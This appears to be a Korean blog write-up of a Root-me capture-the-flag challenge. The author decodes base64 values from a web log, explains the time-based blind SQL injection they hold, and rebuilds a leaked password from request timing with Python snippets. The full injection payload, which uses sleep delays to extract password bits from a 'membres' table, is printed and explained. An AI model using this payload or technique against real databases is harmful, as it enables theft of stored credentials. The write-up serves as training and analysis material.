일단 파일에서 order 값이 injection 값인거 같다. base64로 인코딩 된 것 같으니 디코딩 해주자.
def base64ToString(b):
return base64.b64decode(b).decode('utf-8')
ASC,
(select
(case field(concat(substring(bin(ascii(substring(password,1,1))),1,1),substring(bin(ascii(substring(password,2,1))),2,1)),
concat(char(48),char(48)),concat(char(48),char(49)),concat(char(49),char(48)),concat(char(49),char(49))
when 1 then TRUE
when 2 then sleep(2)
when 3 then sleep(4)
when 4 then sleep(6)
end)
from membres where id=1)
다른 쿼리들도 같은 형식으로 이루어져 있는 것 같았다.
char(48), char(49)는 0,1 이므로 해석되는 것은 다음과 같다.
ASC,
(select
(case field(비밀번호 1번째 자리 문자의 ascii의 2진수값 2개),1,2,3,4)
when 1 then TRUE
when 2 then sleep(2)
when 3 then sleep(4)
when 4 then sleep(6)
end)
from membres where id=1)
이게 password의 각 자리수에 적용되므로, 마지막 쿼리를 보았을 때 비밀번호는 21자리로 이루어져 있고, 그 아스키값의 이진값은 7자리임을 확인할 수 있다.
=> 4개씩 묶음인데 4번째 쿼리는 두자리를 다루는게 아니라 2진수 한자리만 다루기 때문.
즉 sleep 한 시간에 따라서 어떤 값을 가지는지 확인할 수 있다는 것이다.
해당 값의 timestamp 를 이용해서 offset을 알아보았다.
def time_2_timestamp(s):
s = s.split(':')
return int(s[1])*3600+int(s[2])*60+int(s[3])
def fileread(file):
time_offset =[]
with open(file,mode="r") as file:
for i in file:
tmp = i.split()[3][1:]
timestamp = time_2_timestamp(tmp)
a = i.split()[3] = timestamp
time_offset.append(a)
print(time_offset)
for i in range(len(time_offset)-1):
time_offset[i] = time_offset[i+1]-time_offset[i]
time_offset[i] = str(bin(time_offset[i]//2))[2:]
print(time_offset)
년월일 까지는 필요없는 정보이기 때문에, 시-분-초 단위만 따로 timestamp 형식으로 가공해서 그 offset을 구했다.
그렇게 나온 offset들을 2로 나눈 값을 합쳐준 다음, 다시 ascii 값으로 돌리고, ascii값을 이어붙이면 다음과 같은 값이 나온다.(마지막 값은 널값이라 생략)
password : g9UWD8EZgBhBpc4nTSAS
'WriteUp > Root-me.org' 카테고리의 다른 글
[Root-me] : Find the cat (0) | 2021.01.27 |
---|---|
[Root-me] : Command & Control - level 5 (0) | 2021.01.27 |
JSON Web Token (JWT) - Weak secret (0) | 2021.01.02 |
Root-me : File upload - Null byte (0) | 2020.12.31 |
Root me : Directory traversal (0) | 2020.12.28 |